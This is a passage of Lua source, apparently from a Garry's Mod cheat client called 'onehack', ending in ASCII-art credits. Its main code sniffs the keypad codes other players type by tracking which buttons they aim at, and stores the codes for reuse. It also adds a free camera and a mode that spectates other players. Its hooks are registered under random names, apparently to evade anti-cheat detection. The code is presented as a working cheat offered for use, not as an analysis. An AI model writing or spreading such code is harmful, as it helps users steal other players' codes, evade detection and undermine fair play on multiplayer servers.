2382 if !ply:IsValid() then return end
2383
2384 local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
2385 if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
2386
2387 local scale = ent.Scale
2388 if !scale then return 0, 0 end
2389
2390 local pos, ang = ent:CalculateRenderPos(), ent:CalculateRenderAng()
2391 if !pos or !ang then return 0, 0 end
2392 local normal = ent:GetForward()
2393
2394 local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
2395 if !intersection then return 0, 0 end
2396
2397 local diff = pos - intersection
2398
2399 local x = diff:Dot( -ang:Forward() ) / scale
2400 local y = diff:Dot( -ang:Right() ) / scale
2401
2402 return x, y
2403end
2404
2405function onehack.KPGetHoveredElement(ply, ent)
2406 local scale = ent.Scale
2407
2408 local w, h = ent.Width2D, ent.Height2D
2409 local x, y = onehack.CalculateKeypadCursorPos(ply, ent)
2410
2411 for _, element in ipairs(elements) do
2412 local element_x = w * element.x
2413 local element_y = h * element.y
2414 local element_w = w * element.w
2415 local element_h = h * element.h
2416
2417 if element_x < x and element_x + element_w > x and
2418 element_y < y and element_y + element_h > y
2419 then
2420 return element
2421 end
2422 end
2423end
2424hook.Add("Think",onehack.RandomString(17),function()
2425 if onehack.Vars['keypad_jiw'] then
2426 for k, v in pairs(player.GetAll()) do
2427 local kp = v:GetEyeTrace().Entity
2428 if IsValid(kp) && IsValid(v) and string.find( kp:GetClass(), "Keypad") and v:EyePos():Distance(kp:GetPos()) <= 120 then
2429 kp.tempCode = kp.tempCode or ""
2430 kp.tempText = kp.tempText or ""
2431 kp.tempStatus = kp.tempStatus or 0
2432 if kp:GetText() != kp.tempText or kp:GetStatus() != kp.tempStatus then
2433 kp.tempText = kp:GetText()
2434 kp.tempStatus = kp:GetStatus()
2435 if(kp.tempText && !kp:GetSecure()) then
2436 kp.tempCode = kp.tempText
2437 timer.Simple(0, function()
2438 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2439 kp.code = kp.tempCode
2440 end
2441 end)
2442 else
2443 local i = onehack.KPGetHoveredElement(v, kp)
2444 if (i) then i = i.text end
2445 if kp.tempText then
2446 timer.Simple(0, function()
2447 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2448 kp.code = kp.tempCode
2449 end
2450 end)
2451 end
2452 if kp.tempText == "" || kp:GetStatus() == 2 then
2453 kp.tempCode = ""
2454 end
2455 timer.Simple(0, function()
2456 if(tonumber(i) && kp:GetText():len() != 0) then
2457 kp.tempCode = kp.tempCode..i
2458 end
2459 end)
2460 end
2461 end
2462 end
2463 end
2464 end
2465end)
2466hook.Add("CreateMove",onehack.RandomString(17),function(cmd)
2467 if onehack.Vars['FCAM'] then
2468 cmd:ClearButtons()
2469 cmd:ClearMovement()
2470 cmd:SetMouseX(0)
2471 cmd:SetMouseY(0)
2472 end
2473end)
2474
2475function onehack.cameracalculate( ply, pos, angles, fov )
2476 if onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
2477 local view = {}
2478 view.origin = onehack.SpectatePlayer:EyePos() or Vector(0,0,0)
2479 view.angles = onehack.SpectatePlayer:EyeAngles() or Angle(0,0,0)
2480 view.fov = fov
2481 view.drawviewer = true
2482 return view
2483 elseif onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:GetClass() == "gmod_cameraprop" then
2484 local view = {}
2485 view.origin = onehack.SpectatePlayer:GetPos() or Vector(0,0,0)
2486 view.angles = onehack.SpectatePlayer:GetAngles() or Angle(0,0,0)
2487 view.fov = fov
2488 view.drawviewer = true
2489 return view
2490 end
2491 if onehack.Vars['FCAM'] then
2492 local view = {}
2493 local newang = angles
2494 onehack.StartCamAng = LocalPlayer():GetAngles()
2495 local speed = onehack.CamSpeed_Normal
2496 if input.IsKeyDown(KEY_LSHIFT) then
2497 speed = onehack.CamSpeed_Fast
2498 elseif input.IsKeyDown(KEY_LCONTROL) then
2499 speed = onehack.CamSpeed_Slow
2500 else
2501 speed = onehack.CamSpeed_Normal
2502 end
2503 if input.IsKeyDown(KEY_W) then
2504 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Forward() * speed
2505 end
2506 if input.IsKeyDown(KEY_A) then
2507 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Right() * speed
2508 end
2509 if input.IsKeyDown(KEY_D) then
2510 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Right() * speed
2511 end
2512 if input.IsKeyDown(KEY_S) then
2513 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Forward() * speed
2514 end
2515 if input.IsKeyDown(KEY_SPACE) then
2516 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Up() * speed
2517 end
2518 --LocalPlayer():SetPos(onehack.StartCamPos)
2519 view.origin = onehack.StartCamPos
2520 view.angles = newang
2521 view.fov = fov
2522 view.drawviewer = true
2523 return view
2524 end
2525end
2526hook.Add( "CalcView", onehack.RandomString(17), onehack.cameracalculate )
2527
2528MsgC(onehack.theme.chroma,[[
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578 ________ ________ _______ ___ ___ ________ ________ ___ __
2579|\ __ \|\ ___ \|\ ___ \ |\ \|\ \|\ __ \|\ ____\|\ \|\ \
2580\ \ \|\ \ \ \\ \ \ \ __/|\ \ \\\ \ \ \|\ \ \ \___|\ \ \/ /|_
2581 \ \ \\\ \ \ \\ \ \ \ \_|/_\ \ __ \ \ __ \ \ \ \ \ ___ \
2582 \ \ \\\ \ \ \\ \ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \____\ \ \\ \ \
2583 \ \_______\ \__\\ \__\ \_______\ \__\ \__\ \__\ \__\ \_______\ \__\\ \__\
2584 \|_______|\|__| \|__|\|_______|\|__|\|__|\|__|\|__|\|_______|\|__| \|__|
2585 ___ ___ _____ ________ ________
2586 |\ \ / /|/ __ \ |\ __ \ |\ __ \
2587 \ \ \ / / /\/_|\ \ \ \ \|\ \ \ \ \|\ \
2588 \ \ \/ / /\|/ \ \ \ \ \ \\\ \ \ \ \\\ \
2589 \ \ / / \ \ \ __\ \ \\\ \ __\ \ \\\ \
2590 \ \__/ / \ \__\\__\ \_______\\__\ \_______\
2591 \|__|/ \|__\|__|\|_______\|__|\|_______|]])
2592 MsgC(onehack.theme.chromaalt,[[
2593
2594 ________ ________ _______ ________ ___ _________ ________
2595 |\ ____\|\ __ \|\ ___ \ |\ ___ \|\ \|\___ ___\\ ____\ ___
2596 \ \ \___|\ \ \|\ \ \ __/|\ \ \_|\ \ \ \|___ \ \_\ \ \___|_|\__\
2597 \ \ \ \ \ _ _\ \ \_|/_\ \ \ \\ \ \ \ \ \ \ \ \_____ \|__|
2598 \ \ \____\ \ \\ \\ \ \_|\ \ \ \_\\ \ \ \ \ \ \ \|____|\ \ ___
2599 \ \_______\ \__\\ _\\ \_______\ \_______\ \__\ \ \__\ ____\_\ \|\__\
2600 \|_______|\|__|\|__|\|_______|\|_______|\|__| \|__| |\_________\|__|
2601 \|_________|
2602 ________ ________ _______ ________ ________ _______ ___ ___
2603 |\ _____\\ __ \|\ ___ \ |\ __ \ |\ ___ \|\ ___ \ |\ \ / /|
2604 \ \ \__/\ \ \|\ \ \ __/|\ \ \|\ \ ____________ \ \ \_|\ \ \ __/|\ \ \ / / /
2605 \ \ __\\ \ \\\ \ \ \_|/_\ \ _ _\ |\____________\ \ \ \ \\ \ \ \_|/_\ \ \/ / /
2606 \ \ \_| \ \ \\\ \ \ \_|\ \ \ \\ \| \|____________| \ \ \_\\ \ \ \_|\ \ \ / /
2607 \ \__\ \ \_______\ \_______\ \__\\ _\ \ \_______\ \_______\ \__/ /
2608 \|__| \|_______|\|_______|\|__|\|__| \|_______|\|_______|\|__|/]])